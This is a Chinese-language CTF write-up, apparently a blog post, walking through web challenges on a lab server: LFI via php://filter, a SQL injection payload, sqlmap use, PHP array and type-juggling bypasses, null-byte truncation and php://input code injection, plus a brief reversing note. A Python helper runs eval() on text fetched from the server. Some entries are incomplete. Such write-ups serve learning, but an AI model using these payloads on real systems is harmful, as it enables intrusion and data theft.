一次ctf题(2)
第一题
打开页面发现http://10.196.8.21:18083/calculate/

利用python的requests库做计算,
import re
import requests
import time
url = 'http://10.196.8.21:18083/calculate/'
res = requests.session()
ans1 = res.get(url)
# print ans1.content
calc = re.findall(r">(.*?)</div>",ans1.content)
s = "".join(calc).strip('=')
ans = eval(s)
while True:
try:
print '[+]Attacked by 0verWatch'
time.sleep(1)
ans2 = res.post(*url*=url,*data*={"ans":ans}).content
calc = re.findall(r">(.*?)</div>",ans2)
s = "".join(calc).strip('=')
ans = eval(s)
except:
print ans2
break

Susctf{gr3At_cAcu1a7or}
第二题
打开页面http://10.196.8.21:18083/faster/1ndex.php

发现有一个index.php页面,bp抓包回显flag{U3VzY3Rme2Zhc3Rlcl9hc195b3VfY2FufQ}

第4题
打开页面http://10.196.8.21:18083/iz/index.php,是代码审计

三个preg_match过滤参数,请求参数不能出现_,0和字符[A-Za-z0-9]
然后get请求_参数来传递,判断_参数如果是0,或者随机数字,输出标志
构造:http://10.196.8.21:18083/iz/index.php?.="进行绕过

flag{e18a4e931495e8fc961acad1da3d670b39bb5b22}
第5题
打开页面http://10.196.8.21:18083/lfi/attachments/?file=flag

是个假的flag,尝试修改flag文件,发现源文件位flag.php,

flag隐藏在页面中,用php://filter/read=convert.base64-encode/resource=flag

base64解密,发现还有一层加密,

再次bese64解密

nuaactf{trying_2_use_LFI_yeah_!}
第6题
http://10.196.8.21:18083/linghuang2018web/
用户名存在注入,sqlmap跑 ssrf库。 flag表。

flag{c3NyZmRmYWV3cmRhZmRhZmFkc2Zkc2RzYWQ=}
正确flag{ 4827e733c37295ca9225100baf37e2a67a6ac3f6}
第7题
打开http://10.196.8.21:18083/put/页面回显,

put me a message then you can get the flag,
联想到用firefox的F12功能编辑和发送;利用PUT给http://10.196.8.21:18083/put/发送一条message,然后在响应栏中看到回显base64加密

利用python解密得flag{cmVxdWVzdF9pbl9wdXRfbWV0aG9k}

第8题
打开http://10.196.8.21:18083/sign-in/attachments/说明了是签到题

然后查看源码,发现nuaactf{buddha_b1ess_us_n0_bug_233}

第9题
打开页面http://10.196.8.21:18083/sqli_twice/attachments/

默认应该是index.php,尝试有没有备份文件呢,加上.bar看下,发现存在备份文件

下载文件,查看源码,查找flag关键语句
显然 $_SESSION['user'] 是注入点,并且可以通过注册任意用户名来控制,然后就可以为所欲为了。
由于过滤不严格,只要使查询语句返回1就可以爆出flag,
me' and 1=0 union select 1#

nuaactf{do_!_B_anxious_MY_friend.}
第11题
打开页面发现源码

发现,存在正则过滤,用%00截断password[]=a%00

flag{3a9f3478bc9a9ec348ea30534618d4592ad5a519}
第12题
打开http://10.196.8.21:18003/5c55674b83536ad3/index.php,回显密码为假

应该是把输入的值与后台的值做比较,如果可以,输出标记。

构造语句password []=0,回显flag{5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8}
第13题
打开页面http://10.196.8.21:18003/c569d1f25f24fc39/index.php

当有2个is_numeric的时候,and后面的可以绕过,构造a=123456&b=asdads

flag{9d42150fe917c3f9195e7fca2bb380baf00b0880}
第14题
打开页面http://10.196.8.21:18003/9630e9ba0442fa3a/index.php

回显了一个先登录,去看下源码发现

获得flag要求的条件是:username != password & sha1(username) == sha1(password),可以利用sha1()函数的漏洞来绕过。

?username[]=1&password[]=9
flag{34891b0ddacecf35abf9983a79a3a83bc59296a5}
第15题
打开页面http://10.196.8.21:18003/abf20c91a442da48/index.html

提示用本地包含,没看到传参,去index.php看看,发现page

用本地文件包含php://filter读取文件,php://filter/read=convert.base64-encode/resource=./Y29uZmln.php
解密得:
第16题
打开页面http://10.196.8.21:18003/c9bf52aa72e0299b/index.php

发现类似base64解密看看,发现flag{ThiS_a@ ,是flag一部分
目录扫描发现还有一个index.php.txt

传参为a,get方式,传入一个值,回显缺失的值,ZmxhZ3tUaGlzX2lzX01pb19GbEFnfQ==
解密得flag{This_is_Mio_FlAg}
第17题
http://10.196.7.101:7005/file_filter/file_filter.php
伪协议包含./flag.php文件

然后base64解密得到flag
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>æ¬é¡µé¢å
å«flag</title>
</head>
<body>
<p>æ¬é¡µé¢å
å«flagï¼è¯·å°è¯è·å!</p>
</body>
</html>
<?php
//Flag{4bb4ca75941b7bbc5bc6a12be44b22fc9c8d234e}
?>
第18题
http://10.196.7.101:7005/file_input/file_input.php
Php://input读取flag文件

file=php://input POST写入
<?php
$lines=file('flag.php');
foreach($lines as $line_num => $line){ echo "Line #{$line_num} : ",$line,'';}
?>
Flag{f876ccdbdd93d14ce97854cd465607825ca09551}

第19题
第21题
下载文件用IDA打开,发现需要找到程序的破解密码,
首先运行Brad Soblesky.1.exe,发现出现输入对话框,可知可能是C++ MFC;需要输入字符,所以可能采用GetDlgItemText函数(这个就需要正向编程经验的积累了);通过输入和点击Check,发现弹出对话框,可以猜想,一定有条件语句比对输入是否正确。

用IDA打开分析,1.未输入:弹出”Enter Registration Number”;
2.已输入:
-
错误:弹出”Incorrect try again!!”;
-
正确:弹出”Correct way to go!!”。

我们只需要找密码,关注正确的分支代码。

然后就成功找到值,


浙公网安备 33010602011771号